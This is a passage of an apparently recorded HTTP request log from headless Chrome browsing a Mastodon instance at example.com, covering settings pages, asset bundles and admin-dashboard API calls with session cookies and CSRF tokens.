_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjQuODU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f80387b813e2aa31c2ce960474cb5aea5f6f8239; _mastodon_session=IKoIk%2F2Zt%2BbQwuwPHCreKoer6wq%2FPUalC1%2BGdCluh3C0XloQeQ9fq2D3CzSgKBrk7e9PehwLJ0Tll2V7X18sKvFv0eBuhuPIhjPfsF4FNDGoz%2Fz7PkpLVIe7NH8OPLkE51kr35%2F0fYSoPfVz6UQYZvTssbZaZMRx179YzX6ZdCHv5P7vIAmUk1D8mBRlMe50nHHyFi%2FFvLpXaptNqPx7tUIvZ9M5R4FzBLxuJu%2FJqRsbIjLRhyS9N495tQfAt5%2Fld9uOy%2FXDuK9o0XPM4buMQg15QSFKz0QcY1rfQHzywT0rS55Adhgi8AvbzdpHXvcaxGI3vsDS66CeZhbgJPbsC07lhfil7mrqiOldVubC3nE0I40B%2BOgAK67GIPUB10vPv%2FxELzDPPO5A--%2BVh5QejLBVzuglr1--A1Rlzkk77pKJhyvMEvH3SA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/relationships", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/verification", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/axios-BtspdZ3f.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/verification", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/locales-BkCPern1.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzMuNDI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--39e97d04693913db5d01a248369ed6fc39f866fc; _mastodon_session=PtF3%2B2SbEwiSB3Ee%2Fd1y6tjFDnycVAcyZUjaJ22F3cGW8I6D6cTlSmaQEn41AtLwlsURxTDzPyMhLyrY3m8J%2BYFeXvDrxsVlXryHn%2F9NQaiR3jqVANCdTklQXe7JOWTQCHS23ovvvjzgwPtWI%2FFM5kw4nT8mCNyqMTp49RJJB%2FHMvN%2BurqXfCeUcxVUVc8GFtTA5NbjMdKFAGMM2frSFB9khDTiBYDq%2F9g8NhLXlFoDKnxynuQ0tuTMc7Tc5K7%2Ft50sAs%2BpwYdrFXafCbrRjdSFuO9Zs2JxOD713k8IKDu7uD5MWMbSLN3Vdagjg04wxxR0uWdQXbtVXueqFBd1rzHoMgHcKA%2FsoF7r3fRVnt4c3CdTZivhv1u8kXjDF8UTKejBplnkLZ5xJ--8FE407Sve3lI2buy--ulWeDSj72%2FG%2BoZmZTPkVBw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/ready-B3bZnx13.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=UJlraWd3K9cO0MFqwrqGtakBWsIEq95ctCmMPOwQC%2F0hqxmuOw%2BYSMzVIOyT69T8PseGocltvcNC0m3Zxst6Gu3m%2Bhp1QwmBaxLEQBzR%2BeXzeXvtJ25KOLnM%2F8H0tT2b6X%2FDxCpLBWGGEIk5U8rDvoCmu0GFUx1S1o2Us%2FCnnlt7Co10e1a3W7g7ge9XTk9UVFmk4LlkMyByCnJytcQVHXE2ZuHjEheCbIPCMWLgwZPqUu3dLB3XFccIBHr2Qf%2BOnHQ564yr6UXn%2BOLgsNFpirU0gCLbUY8RyA%3D%3D--%2BC58uBQAFyYj4VH4--62QYBwUYVMsL4NHmq%2FBDWw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/tab_list-e25X12WM.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/icon_button-DfNtv8BJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/compose_form_container-BsuzTwz6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--96a414857d1bf83a613269c009b9a1b525b6c08a; _mastodon_session=mvNNh%2BJwW2HiM3p%2BlDv9IVP59seZsOv7GC6AGQ1mJD95v%2BsftOn5c3bk%2BUSnVtL0ErertrcjYtGRrfiU5bt62YtpMIUsELB1RRze3Y2M959gxKT%2B5yRkz0nAwqXKlCx96LRB3Kdx1qH4AQpgE3N1KM1IOIcIb1eAYYdAV6LDuf4PdT5hX8HPmNYM4wb8y%2FDIWa56rnMBoChoEjlUn2zwQTnu6D0NHVm4XCNW5mnabzCz%2BHvdnvNMSQATO0rLjriZ2LYXhNev0Jpn5hzwuywv90aWnwJ0j14r7i8vHPEVe8pamo7kLvbBv8qT3QbyKM%2ByuzgZ30rZKNNXmUmemSoREfSIJxwA5w0vDuvbx49gkWfZaxAZJ2%2Fjwoz%2BeWJrXNTy2%2Fo02vHt0BG3--zkXtyteb6gBdbUvG--HcatSBNN5jlMnLH85DjYlA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/roboto-regular-webfont-DjumA6RA.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/retention", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 67", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"start_at\":\"2026-05-10\",\"end_at\":\"2026-11-10\",\"frequency\":\"month\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 68", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDEuNTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--515c8edd63d57984f719eb557fd712aa19e0b5e8; _mastodon_session=xKFaaVprbZyLS%2Fb%2B9b9MYC1B2uCpothR7D8Ho8MaTgbPFUDU%2FiroGd62VKyHQd03eS75qcJRJGUx8f7YdSE1%2BRAlQ2sDw%2FrrWhR26yisAkwyLawt3WlnzoZtP1SClYEtRp%2FpdvHLaiwFd7kPJ0PEFsNCfPVfnCVQBC%2F7tTEsDx3jxH6nw9MrtK1gY0Z8i1X%2FtS6ocHBVh4%2BcYGVHIM1ABtaOSynZsNKdf%2B8H%2BBXQbZoZOH5fzfFCqmP13%2BfuuEmOzEc%2BWO8eDjLxqjgsSdKUcStiO6HfTAlpy8vSD8h8xrSkZXLf2kJTWLO6NCG7LRsR2QzasCcnJQYqBvkz8Hw3EvXSuFAUnF4IsTSqlD7jyEJRcC%2FsZurBMlLBhqVjdGvhYr7DFq2CrtKN--80VJq1cfIgNq7htT--MsBi6tWlRTcXrCQG5cQ6gQ%3D%3D"], "body": "{\"keys\":[\"new_users\"],\"start_at\":\"2026-10-12\",\"end_at\":\"2026-11-10\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 71", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtTzAJbZaerpNQ2eZxH_QUxjRcmweUvTv9IFII3oJfSPPLeds1XIUg8BoGMZQA8qgG6mYXjR8ELULb03YhwTVA", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/dashboard", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 